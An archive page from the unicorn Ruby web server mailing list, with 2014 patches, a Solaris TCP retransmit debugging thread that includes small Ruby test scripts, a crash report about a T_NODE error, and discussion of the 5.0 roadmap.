[2] http://svn.ruby-lang.org/cgi-bin/viewvc.cgi?view=revision&revision=47717
This is due to type-checking issues like
https://bugs.ruby-lang.org/issues/10296
^ permalink raw reply [relevance 3%]
* [PATCH 1/4] remove RubyForge and Freecode references
@ 2014-09-22 1:05 18% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-09-22 1:05 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Both sites are gone.
---
GNUmakefile | 7 -------
Rakefile | 44 --------------------------------------------
unicorn.gemspec | 1 -
3 files changed, 52 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 50819fc..6916b6e 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -245,15 +245,8 @@ $(pkgtgz): .manifest fix-perms
package: $(pkgtgz) $(pkggem)
release: verify package $(release_notes) $(release_changes)
- # make tgz release on RubyForge
- rubyforge add_release -f -n $(release_notes) -a $(release_changes) \
- $(rfproject) $(rfpackage) $(VERSION) $(pkgtgz)
# push gem to Gemcutter
gem push $(pkggem)
- # in case of gem downloads from RubyForge releases page
- -rubyforge add_file \
- $(rfproject) $(rfpackage) $(VERSION) $(pkggem)
- $(RAKE) fm_update VERSION=$(VERSION)
else
gem install-gem: GIT-VERSION-FILE
$(MAKE) $@ VERSION=$(GIT_VERSION)
diff --git a/Rakefile b/Rakefile
index 01ff5d0..37569ce 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,47 +1,3 @@
-# -*- encoding: binary -*-
-autoload :Gem, 'rubygems'
-require 'wrongdoc'
-
-cgit_url = Wrongdoc.config[:cgit_url]
-git_url = Wrongdoc.config[:git_url]
-
-desc "post to FM"
-task :fm_update do
- require 'tempfile'
- require 'net/http'
- require 'net/netrc'
- require 'json'
- version = ENV['VERSION'] or abort "VERSION= needed"
- uri = URI.parse('https://freecode.com/projects/unicorn/releases.json')
- rc = Net::Netrc.locate('unicorn-fm') or abort "~/.netrc not found"
- api_token = rc.password
- _, subject, body = `git cat-file tag v#{version}`.split(/\n\n/, 3)
- tmp = Tempfile.new('fm-changelog')
- tmp.puts subject
- tmp.puts
- tmp.puts body
- tmp.flush
- system(ENV["VISUAL"], tmp.path) or abort "#{ENV["VISUAL"]} failed: #$?"
- changelog = File.read(tmp.path).strip
-
- req = {
- "auth_code" => api_token,
- "release" => {
- "tag_list" => "Experimental",
- "version" => version,
- "changelog" => changelog,
- },
- }.to_json
-
- if ! changelog.strip.empty? && version =~ %r{\A[\d\.]+\d+\z}
- Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http|
- p http.post(uri.path, req, {'Content-Type'=>'application/json'})
- end
- else
- warn "not updating freshmeat for v#{version}"
- end
-end
-
# optional rake-compiler support in case somebody needs to cross compile
begin
mk = "ext/unicorn_http/Makefile"
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 9456db2..8623d44 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -26,7 +26,6 @@ Gem::Specification.new do |s|
s.files = manifest
s.homepage = Wrongdoc.config[:rdoc_url]
s.rdoc_options = rdoc_options
- s.rubyforge_project = %q{mongrel}
s.test_files = test_files
# for people that are absolutely stuck on Rails 2.3.2 and can't
--
EW
^ permalink raw reply related [relevance 18%]
* [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0
@ 2014-08-17 2:33 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-08-17 2:33 UTC (permalink / raw)
To: unicorn-public; +Cc: Ken Dreyer
test-unit 3 and minitest 5 will have equal support status as a
bundled gems when Ruby 2.2.0 is released in December 2014. These
bundled gems will appear in the user-oriented tarball installations,
but do not get installed by "make install" when installing Ruby
from SVN or git.
test-unit appears to be actively maintained and good at keeping
backwards compatibility even on a major version change, so this
means no code changes on our end. I am not convinced switching to
minitest is worth the effort.
Cc: Ken Dreyer <ktdreyer@ktdreyer.com>
---
unicorn.gemspec | 1 +
1 file changed, 1 insertion(+)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index b24b1ac..9456db2 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -37,6 +37,7 @@ Gem::Specification.new do |s|
s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
+ s.add_development_dependency('test-unit', '~> 3.0')
s.add_development_dependency('wrongdoc', '~> 1.8')
s.licenses = ["GPLv2+", "Ruby 1.8"]
--
EW
^ permalink raw reply related [relevance 3%]
* Re: Please move to github
@ 2014-08-02 20:15 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-08-02 20:15 UTC (permalink / raw)
To: Gary Grossman; +Cc: unicorn-public, michael
Gary Grossman <gary.grossman@gmail.com> wrote:
> We'd pretty much need to introduce some kind of configuration
> switch, at least for the short term and maybe for the long term.
> The hope would be that it could become the default setting.
> Apps that don't use UTF8 should be able to set their desired default
> external encoding appropriately.
If possible, I would like to avoid an option and rely on
Encoding.default_external in a new major version. Too many ways to set
the same thing is confusing and requires extra documentation overhead.
> >The rack-devel mailing list had a discussion on this in September 2010
> >and a decision was never reached. You can search the archives at:
> >http://groups.google.com/group/rack-devel
>
> I came across this thread but didn't realize that was the last word
> so far when it came to Rack and encodings.
>
> This might be one of those instances where it would be helpful for
> implementation to lead specification. Unicorn is one of the leading
> servers of its genre, if not the leader. If you supported a switch
> that made the encoding regime more sane, I think other popular servers
> like Thin and Passenger would swiftly follow and it might re-energize
> the discussion about getting encodings into the Rack spec once and
> for all, and give a base for experimentation and iteration for
> getting the encodings in the spec right.
I might start with WEBrick (or the Rack/WEBrick handler). WEBrick is
distributed with Ruby and maintained by the core team. It's not used in
production much, but it the reference implementation which is usable
from all Ruby implementations.
naruse (from that rack-devel thread) is also active in Ruby core and
is very knowledgeable in these areas.
> Thanks again for reviewing the patch. I'll work on a new patch that
> incorporates your comments and has a switch for enabling/disabling
> the functionality, and I'll try to follow roughly what the spec
> group in 2010 thought would make sense in terms of encodings for
> the various strings in the env. And I'll see if I can ask the
> Rack folks to chime in.
Definitely get other Rack folks to chime in, even if it is a
unicorn-only change. This has been a problem for years already,
so taking more time to get things right won't hurt.
^ permalink raw reply [relevance 3%]
* Re: High number of TCP retransmits on Solaris
2014-07-22 20:56 2% ` Eric Wong
@ 2014-07-22 21:56 0% ` Paul Henry
0 siblings, 0 replies; 200+ results
From: Paul Henry @ 2014-07-22 21:56 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Thanks so much! It turned out to be a separate issue entirely, one that
appears only in Solaris. When you have a high rate of connections, sockets
sit around in the TIME_WAIT state for a default of 60s. Basically, there's
a bug in Solaris that causes a new connection to be routed (based on what
chooses the ephemeral port) to an existing TIME_WAIT connection. When the
new client sends a SYN, the server responds with an ACK that has an
incorrect sequence number (intended for the old client). This causes the
client to retransmit the SYN and then the server responds correctly.
You can read more about this issue in detail here:
http://lists.illumos.org/pipermail/developer/2011-April/001958.html
Cheers,
Paul
On Tue, Jul 22, 2014 at 1:56 PM, Eric Wong <e@80x24.org> wrote:
> Paul Henry <paul@wanelo.com> wrote:
> > Hello!
> >
> > When using unicorn unicorn v4.8.2, we're seeing a high number of TCP
> > retransmits at a high connection rate.
> >
> > Smartos version: 20131218T184706Z
> >
> > Rackup file used:
> >
> > > cat server.ru
> > run -> (env) { [200, {"Content-Type" => "text/plain"},
> > [Time.now.iso8601(6)]] }
> >
> > To start unicorn:
> > > bundle exec unicorn -l 9292 server.ru
> >
> > To benchmark unicorn:
> > >> Benchmark.measure { 1000.times { time=Benchmark.measure {
> open("http://<ip>:9292/api/v1/settings/time",
> > "Host" => "api.wanelo.com")}.real; p (time*1000).round(2) if time >
> 0.05 } }
>
> Thanks for including a small example to reproduce the problem on your
> end. Is that open call is from "open-uri" in the stdlib?
> (does it attempt persistent connections?)
>
> > After the total number of connections on the system goes above 8,000
> > (16,000 is the average number of connections), we start seeing delays of
> > around 1.1 seconds.
>
> I was not able to reproduce the issue with two Linux machines over
> my (pretty bad) 100Mbps LAN.
>
> I used the script at the bottom to create a lot of client connections
> from my client machine to the machine running unicorn (but this is not
> connecting to unicorn, but a scalable server (e.g. nginx) with infinite
> persistence).
>
> > We don't see the issue over the local loopback interface, only over the
> > net. When using Webrick, we also don't see this issue.
>
> What's strange is the issue does not manifest under Webrick for you.
> Which version of Ruby is that Webrick from?
>
> strace-ing "rackup -s webrick server.ru" reveals several differences:
>
> 1) webrick uses a listen backlog of only 128 (unicorn uses 1024)
> 2) webrick does not disable Nagle's algorithm.
> 3) webrick does not set SO_KEEPALIVE (not really needed for unicorn)
>
> So perhaps you can try config like the following to more closely match
> what webrick does:
>
> listen 9292, backlog: 128, tcp_nodelay: false
>
> On the other hand, maybe webrick is too slow.
>
> > Our tcp initial retransmit interval is 1 second. When the interval is
> > reduced, the occasional latency goes down. We also see the retransmits in
> > netstat, about 1 - 2 every second.
> >
> > Anything that we should look at next?
>
> Try the above config to minimize the differences between webrick
> and unicorn.
>
> If that fails, perhaps disabling SO_KEEPALIVE will work, but I'm
> a bit lost as I'm not familiar with SmartOS quirks.
> (you'll need to comment it out in lib/unicorn/socket_helper.rb)
>
> Maybe try a little mock server like this, too (should be fastest :)
> ---------------------------- hello_world.rb ----------------
> require 'socket'
> s = TCPServer.new(host, port)
> # start changing knobs here:
> # s.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 1)
> # s.setsockopt(:IPPROTOL_TCP, :TCP_NODELAY, 1)
> res = "HTTP/1.0 200 OK\r\nContent-Length: 12\r\n\r\nhello world\n"
> junk = ""
> loop do
> c = s.accept
> c.readpartial(1024, junk)
> c.write(res)
> c.close
> end
> ----------------------------- many.rb --------------------------
> # opens a lot of idle connections, be careful :)
> require 'socket'
> pids = []
> host = '10.45.14.175'
> port = 7500 # not unicorn
> at_exit { pids.each { |pid| Process.kill(:TERM, pid) } }
>
> 24.times do
> pid = fork do
> keep = []
> begin
> s = TCPSocket.new(host, port)
> # put something in the socket buffers
> s.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
> keep << s
> rescue => e
> $stdout.syswrite("#$$ done (#{keep.size}): #{e.message}\n")
> sleep
> end while true
> end
> pids << pid
> end
> p Process.waitall
> --
> EW
>
^ permalink raw reply [relevance 0%]
* Re: High number of TCP retransmits on Solaris
2014-07-22 18:52 3% Paul Henry
@ 2014-07-22 20:56 2% ` Eric Wong
2014-07-22 21:56 0% ` Paul Henry
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2014-07-22 20:56 UTC (permalink / raw)
To: Paul Henry; +Cc: unicorn-public
Paul Henry <paul@wanelo.com> wrote:
> Hello!
>
> When using unicorn unicorn v4.8.2, we're seeing a high number of TCP
> retransmits at a high connection rate.
>
> Smartos version: 20131218T184706Z
>
> Rackup file used:
>
> > cat server.ru
> run -> (env) { [200, {"Content-Type" => "text/plain"},
> [Time.now.iso8601(6)]] }
>
> To start unicorn:
> > bundle exec unicorn -l 9292 server.ru
>
> To benchmark unicorn:
> >> Benchmark.measure { 1000.times { time=Benchmark.measure { open("http://<ip>:9292/api/v1/settings/time",
> "Host" => "api.wanelo.com")}.real; p (time*1000).round(2) if time > 0.05 } }
Thanks for including a small example to reproduce the problem on your
end. Is that open call is from "open-uri" in the stdlib?
(does it attempt persistent connections?)
> After the total number of connections on the system goes above 8,000
> (16,000 is the average number of connections), we start seeing delays of
> around 1.1 seconds.
I was not able to reproduce the issue with two Linux machines over
my (pretty bad) 100Mbps LAN.
I used the script at the bottom to create a lot of client connections
from my client machine to the machine running unicorn (but this is not
connecting to unicorn, but a scalable server (e.g. nginx) with infinite
persistence).
> We don't see the issue over the local loopback interface, only over the
> net. When using Webrick, we also don't see this issue.
What's strange is the issue does not manifest under Webrick for you.
Which version of Ruby is that Webrick from?
strace-ing "rackup -s webrick server.ru" reveals several differences:
1) webrick uses a listen backlog of only 128 (unicorn uses 1024)
2) webrick does not disable Nagle's algorithm.
3) webrick does not set SO_KEEPALIVE (not really needed for unicorn)
So perhaps you can try config like the following to more closely match
what webrick does:
listen 9292, backlog: 128, tcp_nodelay: false
On the other hand, maybe webrick is too slow.
> Our tcp initial retransmit interval is 1 second. When the interval is
> reduced, the occasional latency goes down. We also see the retransmits in
> netstat, about 1 - 2 every second.
>
> Anything that we should look at next?
Try the above config to minimize the differences between webrick
and unicorn.
If that fails, perhaps disabling SO_KEEPALIVE will work, but I'm
a bit lost as I'm not familiar with SmartOS quirks.
(you'll need to comment it out in lib/unicorn/socket_helper.rb)
Maybe try a little mock server like this, too (should be fastest :)
---------------------------- hello_world.rb ----------------
require 'socket'
s = TCPServer.new(host, port)
# start changing knobs here:
# s.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 1)
# s.setsockopt(:IPPROTOL_TCP, :TCP_NODELAY, 1)
res = "HTTP/1.0 200 OK\r\nContent-Length: 12\r\n\r\nhello world\n"
junk = ""
loop do
c = s.accept
c.readpartial(1024, junk)
c.write(res)
c.close
end
----------------------------- many.rb --------------------------
# opens a lot of idle connections, be careful :)
require 'socket'
pids = []
host = '10.45.14.175'
port = 7500 # not unicorn
at_exit { pids.each { |pid| Process.kill(:TERM, pid) } }
24.times do
pid = fork do
keep = []
begin
s = TCPSocket.new(host, port)
# put something in the socket buffers
s.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
keep << s
rescue => e
$stdout.syswrite("#$$ done (#{keep.size}): #{e.message}\n")
sleep
end while true
end
pids << pid
end
p Process.waitall
--
EW
^ permalink raw reply [relevance 2%]
* High number of TCP retransmits on Solaris
@ 2014-07-22 18:52 3% Paul Henry
2014-07-22 20:56 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Paul Henry @ 2014-07-22 18:52 UTC (permalink / raw)
To: unicorn-public
Hello!
When using unicorn unicorn v4.8.2, we're seeing a high number of TCP
retransmits at a high connection rate.
Smartos version: 20131218T184706Z
Rackup file used:
> cat server.ru
run -> (env) { [200, {"Content-Type" => "text/plain"},
[Time.now.iso8601(6)]] }
To start unicorn:
> bundle exec unicorn -l 9292 server.ru
To benchmark unicorn:
>> Benchmark.measure { 1000.times { time=Benchmark.measure { open("http://<ip>:9292/api/v1/settings/time",
"Host" => "api.wanelo.com")}.real; p (time*1000).round(2) if time > 0.05 } }
After the total number of connections on the system goes above 8,000
(16,000 is the average number of connections), we start seeing delays of
around 1.1 seconds.
We don't see the issue over the local loopback interface, only over the
net. When using Webrick, we also don't see this issue.
Our tcp initial retransmit interval is 1 second. When the interval is
reduced, the occasional latency goes down. We also see the retransmits in
netstat, about 1 - 2 every second.
Anything that we should look at next?
Thanks!
Paul
^ permalink raw reply [relevance 3%]
* High number of TCP retransmits on Solaris
@ 2014-07-22 18:51 3% Paul Henry
0 siblings, 0 replies; 200+ results
From: Paul Henry @ 2014-07-22 18:51 UTC (permalink / raw)
To: unicorn-public
Hello!
When using unicorn unicorn v4.8.2 and we're seeing a high number of TCP
retransmits at a high connection rate.
Smartos version: 20131218T184706Z
Rackup file used:
> cat server.ru
run -> (env) { [200, {"Content-Type" => "text/plain"},
[Time.now.iso8601(6)]] }
To start unicorn:
> bundle exec unicorn -l 9292 server.ru
To benchmark unicorn:
>> Benchmark.measure { 1000.times { time=Benchmark.measure { open("http://<ip>:9292/api/v1/settings/time",
"Host" => "api.wanelo.com")}.real; p (time*1000).round(2) if time > 0.05 } }
After the total number of connections on the system goes above 8,000
(16,000 is the average number of connections), we start seeing delays of
around 1.1 seconds.
We don't see the issue over the local loopback interface, only over the
net. When using Webrick, we don't see this issue.
Our tcp initial retransmit interval is 1 second. When the interval is
reduced, the occasional latency goes down. We also see the retransmits in
netstat, about 1 - 2 every second.
Any ideas of where to look next?
Thanks!
Paul
^ permalink raw reply [relevance 3%]
* Re: `hash' called on unexpected T_NODE object
2014-07-22 16:39 3% ` Eric Wong
@ 2014-07-22 16:53 0% ` Jonathan del Strother
0 siblings, 0 replies; 200+ results
From: Jonathan del Strother @ 2014-07-22 16:53 UTC (permalink / raw)
To: Eric Wong; +Cc: Philip Cunningham, unicorn-public
I also run into similar problems maybe every week or so. For
comparison, here's my collection of C extensions :
bcrypt-ruby-3.0.1
fast_xs-0.8.0
ffi-1.9.3
hiredis-0.4.5
kgio-2.8.0
mysql2-0.3.13
nokogiri-1.5.11
oily_png-1.1.1
posix-spawn-0.3.6
raindrops-0.12.0
rmagick-2.13.2
taglib-ruby-0.6.0
thread_safe-0.3.4
unicorn-4.6.2
websocket-driver-0.3.2
On 22 July 2014 17:39, Eric Wong <e@80x24.org> wrote:
> Philip Cunningham <philip@irisconnect.co.uk> wrote:
>> We recently experienced an issue with our staging server on Heroku.
>> It's the first time we've seen this error and the staging server
>> hasn't been updated in a week or so. It's not clear to me how I should
>> investigate this further so I would appreciate any assistance you
>> might offer. Some details are below:
>
>> ``` ruby version
>> ruby 2.0.0p481 (2014-05-08 revision 45883) [x86_64-linux]
>> ```
>>
>> ``` log
>> 2014-07-22T14:47:34.306596+00:00 app[web.2]: /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_request.rb:80:in `parse': method `hash' called on unexpected T_NODE object (0x007fa3c36823d8 flags=0x33b21c) (NotImplementedError)
>
> This is either a version mismatch from objects of different Ruby versions
> or memory corruption caused by a C extension. Since your install
> hasn't been touched in a week, I suspect a buggy C extension.
>
> Can you share a list of C extensions, in particular less popular/used
> ones so others may have a look and see if there's any known issues?
>
> Just in case, can you ensure you're not carrying around any .so files
> between different Ruby versions/installations?
>
> Thanks.
>
^ permalink raw reply [relevance 0%]
* Re: `hash' called on unexpected T_NODE object
2014-07-22 15:17 2% `hash' called on unexpected T_NODE object Philip Cunningham
@ 2014-07-22 16:39 3% ` Eric Wong
2014-07-22 16:53 0% ` Jonathan del Strother
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2014-07-22 16:39 UTC (permalink / raw)
To: Philip Cunningham; +Cc: unicorn-public
Philip Cunningham <philip@irisconnect.co.uk> wrote:
> We recently experienced an issue with our staging server on Heroku.
> It's the first time we've seen this error and the staging server
> hasn't been updated in a week or so. It's not clear to me how I should
> investigate this further so I would appreciate any assistance you
> might offer. Some details are below:
> ``` ruby version
> ruby 2.0.0p481 (2014-05-08 revision 45883) [x86_64-linux]
> ```
>
> ``` log
> 2014-07-22T14:47:34.306596+00:00 app[web.2]: /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_request.rb:80:in `parse': method `hash' called on unexpected T_NODE object (0x007fa3c36823d8 flags=0x33b21c) (NotImplementedError)
This is either a version mismatch from objects of different Ruby versions
or memory corruption caused by a C extension. Since your install
hasn't been touched in a week, I suspect a buggy C extension.
Can you share a list of C extensions, in particular less popular/used
ones so others may have a look and see if there's any known issues?
Just in case, can you ensure you're not carrying around any .so files
between different Ruby versions/installations?
Thanks.
^ permalink raw reply [relevance 3%]
* `hash' called on unexpected T_NODE object
@ 2014-07-22 15:17 2% Philip Cunningham
2014-07-22 16:39 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Philip Cunningham @ 2014-07-22 15:17 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 2099 bytes --]
Hello
We recently experienced an issue with our staging server on Heroku. It's the first time we've seen this error and the staging server hasn't been updated in a week or so. It's not clear to me how I should investigate this further so I would appreciate any assistance you might offer. Some details are below:
``` ruby version
ruby 2.0.0p481 (2014-05-08 revision 45883) [x86_64-linux]
```
``` log
2014-07-22T14:47:34.306596+00:00 app[web.2]: /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_request.rb:80:in `parse': method `hash' called on unexpected T_NODE object (0x007fa3c36823d8 flags=0x33b21c) (NotImplementedError)
2014-07-22T14:47:34.306602+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_request.rb:80:in `read'
2014-07-22T14:47:34.306627+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_server.rb:572:in `process_client'
2014-07-22T14:47:34.306629+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_server.rb:666:in `worker_loop'
2014-07-22T14:47:34.306632+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_server.rb:521:in `spawn_missing_workers'
2014-07-22T14:47:34.306653+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_server.rb:532:in `maintain_worker_count'
2014-07-22T14:47:34.306657+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/lib/unicorn/http_server.rb:290:in `join'
2014-07-22T14:47:34.306658+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/gems/unicorn-4.8.2/bin/unicorn:126:in `<top (required)>'
2014-07-22T14:47:34.306659+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/bin/unicorn:23:in `load'
2014-07-22T14:47:34.306660+00:00 app[web.2]: from /app/vendor/bundle/ruby/2.0.0/bin/unicorn:23:in `<main>'
2014-07-22T14:47:34.461811+00:00 app[web.2]: E, [2014-07-22T14:47:34.461628 #2] ERROR -- : reaped #<Process::Status: pid 122 exit 1> worker=0
```
Cheers
Philip
^ permalink raw reply [relevance 2%]
* [PUSHED] http: remove xftrust options
@ 2014-05-29 20:19 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-05-29 20:19 UTC (permalink / raw)
To: unicorn-public
Just pushed out the dev5 branch to git://bogomips.org/unicorn
* GIT-VERSION-GEN: start 5.0.0 development
* http: remove xftrust options
"http: remove xftrust options" deserves some looking at
http://bogomips.org/unicorn.git/patch?id=5bd61b57d63ae86
Particularly the comment added:
--------------------------------------------
Subject: [PATCH] http: remove xftrust options
This has long been considered a mistake and not documented for very
long.
I considered removing X-Forwarded-Proto and X-Forwarded-SSL
handling, too, so rack.url_scheme is always "http", but that might
lead to compatibility issues in rare apps if Rack::Request#scheme is
not used.
---
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -491,26 +460,29 @@ static void set_url_scheme(VALUE env, VALUE *server_port)
VALUE scheme = rb_hash_aref(env, g_rack_url_scheme);
if (NIL_P(scheme)) {
- if (trust_x_forward == Qfalse) {
- scheme = g_http;
+ /*
+ * would anybody be horribly opposed to removing the X-Forwarded-SSL
+ * and X-Forwarded-Proto handling from this parser? We've had it
+ * forever and nobody has said anything against it, either.
+ * Anyways, please send comments to our public mailing list:
+ * unicorn-public@bogomips.org (no HTML mail, no subscription necessary)
+ */
+ scheme = rb_hash_aref(env, g_http_x_forwarded_ssl);
+ if (!NIL_P(scheme) && STR_CSTR_EQ(scheme, "on")) {
+ *server_port = g_port_443;
+ scheme = g_https;
} else {
- scheme = rb_hash_aref(env, g_http_x_forwarded_ssl);
- if (!NIL_P(scheme) && STR_CSTR_EQ(scheme, "on")) {
- *server_port = g_port_443;
- scheme = g_https;
+ scheme = rb_hash_aref(env, g_http_x_forwarded_proto);
+ if (NIL_P(scheme)) {
+ scheme = g_http;
} else {
- scheme = rb_hash_aref(env, g_http_x_forwarded_proto);
- if (NIL_P(scheme)) {
- scheme = g_http;
+ long len = RSTRING_LEN(scheme);
+ if (len >= 5 && !memcmp(RSTRING_PTR(scheme), "https", 5)) {
+ if (len != 5)
+ scheme = g_https;
+ *server_port = g_port_443;
} else {
- long len = RSTRING_LEN(scheme);
- if (len >= 5 && !memcmp(RSTRING_PTR(scheme), "https", 5)) {
- if (len != 5)
- scheme = g_https;
- *server_port = g_port_443;
- } else {
- scheme = g_http;
- }
+ scheme = g_http;
}
}
}
^ permalink raw reply [relevance 2%]
* unicorn 5 roadmap
@ 2014-05-25 3:52 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-05-25 3:52 UTC (permalink / raw)
To: unicorn-public; +Cc: yahns-public
unicorn is over 5 years old, things are still kicking, but
has not changed much since it was first announced in 2009:
http://mid.gmane.org/20090211230457.GB22926@dcvr.yhbt.net [1]
So 5 will be the next major version, but there's nothing earth
shattering and probably nothing visible to the majority of users.
Almost all just internal housekeeping:
* (finally) remove Unicorn::HttpParser#reset
* switch to minitest5 (or test-unit2?)
* drop some things that were intended for Rainbows!
- keepalive_requests, not necessary with the MT/one-shot-based event
loops like yahns, this is only intended as a DoS mitigation measure for
single-threaded event loops (nginx) or pure-MT-based servers
- xftrust (long deprecated)
* cleanup tests, port shell script integration tests to shunit2?
(or making the tests pure Ruby is probably fine, I trust the stability
of the Ruby language more today than I did in 2009 with the painful
1.8->1.9 transition)
* extract terminal-friendly coverage output from yahns into a gem
and use it for unicorn.
Tangentially related things to do:
* reduce memory usage in Ruby so users may run more unicorns
* improve reverse proxy support in yahns so it may be an
alternative to nginx for unicorn users
What else?
[1] Supporting the project with only email is probably the only
reason I haven't given up after all these years.
^ permalink raw reply [relevance 3%]
* kgio 2.4.0 coming soon
@ 2011-05-05 19:48 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2011-05-05 19:48 UTC (permalink / raw)
To: mongrel-unicorn-GrnCvJ7WPxnNLxjTenLetw,
rainbows-talk-GrnCvJ7WPxnNLxjTenLetw
The I/O library used by the latest version Unicorn/Rainbows! got some
OpenBSD portability fixes thanks to Jeremy Evans. Users of the latest
Rainbows!/Unicorn versions should just be able to update kgio
independently and be on their way if they need OpenBSD fixes.
Summary of changes and reasoning here:
http://mid.gmane.org/20110505194305.GA29336-yBiyF41qdooeIZ0/mPfg9Q@public.gmane.org
Feel free to comment on kgio-TBHja+091Wbby3iVrkZq2A@public.gmane.org[1], reply here, or email me
privately if you're shy.
[1] subscription is required there unfortunately, send a message and
follow directions to subscribe
--
Eric Wong
_______________________________________________
Rainbows! mailing list - rainbows-talk-GrnCvJ7WPxnNLxjTenLetw@public.gmane.org
http://rubyforge.org/mailman/listinfo/rainbows-talk
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 3%]
* Re: [PATCH] tests: switch to minitest
2014-04-26 3:20 1% [PATCH] tests: switch to minitest Ken Dreyer
@ 2014-04-26 6:07 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-04-26 6:07 UTC (permalink / raw)
To: Ken Dreyer; +Cc: unicorn-public, mongrel-unicorn
Ken Dreyer <ktdreyer@ktdreyer.com> wrote:
> Ruby 1.9+ uses Minitest as the backend for Test::Unit. As of Minitest 5,
> the shim has lost some backwards compatibility. It is time to make the
> jump to minitest.
>
> Adjust the unicorn test suite to support Minitest 5's syntax.
Thank you very much for taking a look at this. I was going to do it
myself over the summer.
I ran into some problems with our tests forking + minitest/autorun
causing some problems due to at_exit usage.
We probably need to workaround, I already did something for yahns
which we can reuse[1] in unicorn.
> Minitest versions 4 and below do not support the newer Minitest::Test
> class that arrived in version 5. For that case, use the
> MiniTest::Unit::TestCase class as a fallback.
For yahns, I did the following:
----------- git://yhbt.net/yahns -- test/helper.rb ------------------
gem 'minitest'
begin # favor minitest 5
require 'minitest'
Testcase = Minitest::Test
mtobj = Minitest
rescue NameError, LoadError # but support minitest 4
require 'minitest/unit'
Testcase = Minitest::Unit::TestCase
mtobj = MiniTest::Unit.new
end
# Not using minitest/autorun because that doesn't guard against redundant
# extra runs with fork. We cannot use exit! in the tests either
# (since users/apps hosted on yahns _should_ expect exit, not exit!).
TSTART_PID = $$
at_exit do
# skipping @@after_run stuff in minitest since we don't need it
case $!
when nil, SystemExit
exit(mtobj.run(ARGV)) if $$ == TSTART_PID
end
end
-------------------------------- 8< -------------------------------
I'd appreciate a second opinion on what I did with yahns above,
but it should work with unicorn.
Can you take a look at integrating+fixing those cases which fork?
Thanks again.
> Please keep me in the CC as I'm not subscribed to the unicorn email list.
No problem. Also keeping unicorn-public@bogomips.org Cc-ed since that's
the new public-inbox[2] address and reply-all will be the norm there.
Hopefully public-inbox can encourage more drive-by contributors like
you :)
[1] - Fwiw, I give myself permission to relicense any yahns GPLv3+
test code I wrote to (GPLv2+ || Ruby 1.8 license) for unicorn.
[2] - http://public-inbox.org/
^ permalink raw reply [relevance 0%]
* [PATCH] tests: switch to minitest
@ 2014-04-26 3:20 1% Ken Dreyer
2014-04-26 6:07 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ken Dreyer @ 2014-04-26 3:20 UTC (permalink / raw)
To: mongrel-unicorn; +Cc: Ken Dreyer
Ruby 1.9+ uses Minitest as the backend for Test::Unit. As of Minitest 5,
the shim has lost some backwards compatibility. It is time to make the
jump to minitest.
Adjust the unicorn test suite to support Minitest 5's syntax.
Minitest versions 4 and below do not support the newer Minitest::Test
class that arrived in version 5. For that case, use the
MiniTest::Unit::TestCase class as a fallback.
---
Please keep me in the CC as I'm not subscribed to the unicorn email list.
setup.rb | 12 ++++--------
test/exec/test_exec.rb | 16 ++++++++--------
test/test_helper.rb | 13 ++++++++++---
test/unit/test_configurator.rb | 8 +++-----
test/unit/test_droplet.rb | 4 ++--
test/unit/test_http_parser.rb | 2 +-
test/unit/test_http_parser_ng.rb | 12 ++++++------
test/unit/test_http_parser_xftrust.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 2 +-
test/unit/test_server.rb | 2 +-
test/unit/test_signals.rb | 2 +-
test/unit/test_sni_hostnames.rb | 4 ++--
test/unit/test_socket_helper.rb | 2 +-
test/unit/test_stream_input.rb | 4 ++--
